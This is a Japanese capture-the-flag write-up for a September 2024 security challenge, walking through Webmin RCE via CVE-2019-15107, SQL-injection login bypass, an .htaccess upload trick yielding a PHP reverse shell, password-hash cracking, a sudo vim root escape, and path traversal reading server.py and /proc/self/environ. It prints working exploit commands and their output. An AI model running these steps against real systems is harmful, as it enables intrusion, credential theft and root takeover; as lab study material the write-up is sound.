概要
2024年09月17日(火) 10:00~2024年09月20日(金)15:00に開催されたセキュリティチャレンジのwriteupです。
書ける範囲で書きます。
Pentest
WebAdmin
問題
新人のサーバ管理者がWebサーバを構築していたところ、使っていたアプリケーションと設定に脆弱性があり、サーバを攻撃者に乗っ取られてしまったようです。 セキュリティエンジニアのあなたは、サーバのコピーを作って攻撃者がどのようにサーバを乗っ取ったか再現することにしました。
攻撃者の行動を再現してサーバのroot権限を取得し、/root/root.txt の中に書いてあるフラグを答えてください。
解法
ポートスキャンをします。
$ nmap -Pn -sV -T4 -A -sC -p- 10.0.102.169 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 ff:93:52:c8:4f:f3:1c:36:ef:58:a0:28:90:d0:c7:98 (RSA)
| 256 ef:68:b4:09:80:99:29:35:71:e8:c6:65:3d:37:32:42 (ECDSA)
|_ 256 19:c2:b1:24:df:85:c4:7d:71:52:e0:d7:40:f9:94:3c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Welcome to nginx!
10000/tcp open http MiniServ 1.920 (Webmin httpd)
|_http-title: Login to Webmin
| http-robots.txt: 1 disallowed entry
|_/
10000
番ポートでMiniServ 1.920
が動作していると分かりました。
脆弱性を検索するとexploit-dbでPoCが見つかりました。
実行することで脆弱性があるかを判断してくれます。
$ ./exploit.sh http://10.0.102.169:10000
Testing for RCE (CVE-2019-15107) on http://10.0.102.169:10000: VULNERABLE!
脆弱だと結果が出ました。
攻撃には下記PoCを利用しました。
ターゲットマシンのアドレスと実行するコマンドを引数に渡して実行します。
$ python2.7 CVE_2019_15107.py http://10.0.102.169:10000 id
_______ _______ _______ _______ __ _____ __ _______ __ _______ ______
( ____ \|\ /|( ____ \ / ___ )( __ )/ \ / ___ \ / \ ( ____ \/ \ ( __ )/ ___ \
| ( \/| ) ( || ( \/ \/ ) || ( ) |\/) ) ( ( ) ) \/) ) | ( \/\/) ) | ( ) |\/ ) )
| | | | | || (__ / )| | / | | | ( (___) | | | | (____ | | | | / | / /
| | ( ( ) )| __) _/ / | (/ /) | | | \____ | | | (_____ \ | | | (/ /) | / /
| | \ \_/ / | ( / _/ | / | | | | ) | | | ) ) | | | / | | / /
| (____/\ \ / | (____/\ ( (__/\| (__) |__) (_/\____) ) __) (_/\____) )__) (_| (__) | / /
(_______/ \_/ (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/
(_____) (_____)
python By jas502n
vuln_url= http://10.0.102.169:10000/password_change.cgi
Command Result = uid=0(root) gid=0(root) groups=0(root)
RCEに成功したので目標の/root/root.txt
を閲覧してフラグを入手できます。
$ python2.7 CVE_2019_15107.py http://10.0.102.169:10000 cat+/root/root.txt
_______ _______ _______ _______ __ _____ __ _______ __ _______ ______
( ____ \|\ /|( ____ \ / ___ )( __ )/ \ / ___ \ / \ ( ____ \/ \ ( __ )/ ___ \
| ( \/| ) ( || ( \/ \/ ) || ( ) |\/) ) ( ( ) ) \/) ) | ( \/\/) ) | ( ) |\/ ) )
| | | | | || (__ / )| | / | | | ( (___) | | | | (____ | | | | / | / /
| | ( ( ) )| __) _/ / | (/ /) | | | \____ | | | (_____ \ | | | (/ /) | / /
| | \ \_/ / | ( / _/ | / | | | | ) | | | ) ) | | | / | | / /
| (____/\ \ / | (____/\ ( (__/\| (__) |__) (_/\____) ) __) (_/\____) )__) (_| (__) | / /
(_______/ \_/ (_______/_____\_______/(_______)\____/\______/_____\____/\______/ \____/(_______) \_/
(_____) (_____)
python By jas502n
vuln_url= http://10.0.102.169:10000/password_change.cgi
Command Result = flag{Expl01t_CVE-2019-15107}
Gallery 1st
問題
太郎君は写真を撮るのが好きで、自分で作ったサイトで写真を公開しています。 でも、太郎君はセキュリティには少し疎いようです。 サーバの脆弱性を探し、太郎君のサーバをセキュアにするお手伝いをしましょう。
1st missionでは、/var/www/flag1.txt の中に書いてあるフラグを答えてください。
解法
ポートスキャンを実行します。
$ nmap -Pn -sV -T4 -A -sC -p- 10.0.102.67 -oN nmap_result
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 12:ea:c2:a3:82:bb:f1:84:cb:de:c2:82:4e:63:0b:8c (ECDSA)
|_ 256 6d:30:b6:1e:67:7b:2a:c8:37:4d:de:87:88:90:91:60 (ED25519)
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-title: My Gallery
|_http-server-header: Apache/2.4.58 (Ubuntu)
80
にアクセスすると画像が表示されました。
インデックスページのソースコードから画像は/uploads/images/
に保存されていると分かりました。
ディレクトリスキャンをします。
$ dirsearch -u http://10.0.102.67
[23:59:11] 301 - 307B - /js -> http://10.0.102.67/js/
[23:59:16] 301 - 310B - /admin -> http://10.0.102.67/admin/
[23:59:16] 302 - 0B - /admin/ -> login.php
[23:59:17] 302 - 0B - /admin/index.php -> login.php
[23:59:17] 200 - 775B - /admin/login.php
[23:59:17] 302 - 0B - /admin/upload.php -> login.php
[23:59:26] 301 - 308B - /css -> http://10.0.102.67/css/
[23:59:46] 301 - 312B - /uploads -> http://10.0.102.67/uploads/
/admin
パスを発見しました。
/admin/login.php
にリダイレクトされ、ログインページが表示されました。
SQLインジェクションを試みます。
' or 1=1;--
のペイロードを送信するとステータスコード500
が返ってきたのでSQLインジェクションができそうです。
下記ペイロードリストを使用して攻撃します。
レスポンスが302
のペイロードを発見したのでログインに使用すると認証をバイパスできました。
ファイルアップロード機能があるので試しにテキストファイルをアップロードすると、先ほど発見した/uploads/images/
にファイルがアップロードされています。
アップロード可能な拡張子を調べ、HackTricksに記載されているテクニックを試しましたが、RCEには繋がりませんでした。
拡張子制限回避の手法を調べていると.htaccess
、.l33t
を利用した手法を発見しました。
まず、下記.htaccess
ファイルをアップロードします。
AddType application/x-httpd-php .l33t
次にPHPリバースシェルの拡張子を.l33t
、Content-Type
をContent-Type: application/x-httpd-php
に変更してアップロードします。
Netcatでリッスンします。
$ nc -lnvp 1234
/uploads/images/exploit1.l33t
にアクセスするとリバースシェルを張れました。
$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [192.168.100.234] from (UNKNOWN) [10.0.102.17] 59748
Linux ip-10-0-102-17 6.8.0-1012-aws #13-Ubuntu SMP Mon Jul 15 13:40:27 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
12:27:42 up 1:15, 0 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami
www-data
TTYを設定します。
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
/var/www/flag1.txt
からフラグを入手できます。
flag{you_exploit_SQLi_and_Uploader}
Gallery (2nd mission)
問題
これは Gallery (1st mission) の続きです。
2nd missionでは、 /root/flag2.txt の中に書いてあるフラグを答えてください。
解法
/home
を確認するとyamada
アカウントを発見しました。
$ ls -la /home
total 16
drwxr-xr-x 4 root root 4096 Aug 23 01:58 .
drwxr-xr-x 22 root root 4096 Sep 20 11:12 ..
drwxr-x--- 5 ubuntu ubuntu 4096 Sep 2 06:25 ubuntu
drwxr-x--- 2 yamada yamada 4096 Aug 23 01:58 yamada
権限の昇格を試みます。
/var/www/html/admin/login.php
からMySQLの認証情報を得られました。
// Database connection
$conn = new mysqli('localhost', 'root', 'password', 'test_db');
MySQLにログインします。
www-data@ip-10-0-102-17:/var/www$ mysql -u root -p
mysql -u root -p
Enter password: password
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 428
Server version: 10.11.8-MariaDB-0ubuntu0.24.04.1 Ubuntu 24.04
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MariaDB [(none)]>
test_db
のusers
テーブルからyamada
のパスワードハッシュ値を得られました。
MariaDB [test_db]> select * from users;
select * from users;
+----+----------+--------------------------------------------------------------+
| id | username | password |
+----+----------+--------------------------------------------------------------+
| 1 | admin | $2y$10$8B9OkwJvPRTbZTcvN0.hueV/EfUeT3v/dp/90VNoqLF5KHZGZ35oe |
| 2 | yamada | $2y$10$9p7Y8bXPQ71XpNDtutFYS.W/LeacIa29c0UcN2jmJeZCCEk21ibF. |
| 3 | sato | $2y$10$ue3NZ9IZdC86M7IdTpmw.e0w.VEQeCioyLJtyzTxikE7sk74K8pg6 |
+----+----------+--------------------------------------------------------------+
3 rows in set (0.000 sec)
JohnTheRipper
でハッシュ値を解析し、パスワードを得ました。
$ john yamada_hash --wordlist=/usr/share/wordlists/rockyou.txt --format=bcrypt
qwertyuiop (?)
yamada
アカウントにログインします。
$ su yamada
su yamada
Password: qwertyuiop
yamada@ip-10-0-102-17:/var/www$
sudo -l
で実行できるプログラムを探すと/usr/bin/vim
が設定されています。
$ sudo -l
sudo -l
[sudo] password for yamada: qwertyuiop
Matching Defaults entries for yamada on ip-10-0-102-17:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User yamada may run the following commands on ip-10-0-102-17:
(ALL) /usr/bin/vim
GTFOBinsで権限昇格のテクニックが見つかりました。
実行し、root権限に昇格します。
$ sudo vim -c ':!/bin/sh'
:!/bin/sh
# whoami
whoami
root
/root/flag2.txt
からフラグを入手できます。
flag{vim_is_useful_for_escalating_privilege}
Web
Path to Secret
問題
脆弱性を特定し、サーバで用いられているSECRET_KEYの値を解答してください。
ヒント: サーバのファイル名はserver.pyです。
解法
問題サーバーにアクセスします。
アカウントを登録し、ログインするとテキストファイルをダウンロードできます。
?file=
でファイル名を指定しているのでヒントにあるserver.py
を読み込めないか試みます。
/download?file=../server.py
にアクセスすることでパストラバーサルの脆弱性を悪用してソースコードを表示できました。
ソースコードを見るとSECRET_KEY
はOSの環境変数から取得しているようです。
OS環境変数の値は/proc/self/environ
からも取得できます。
/download?file=/proc/self/environ
にアクセスしするとフラグを入手できます。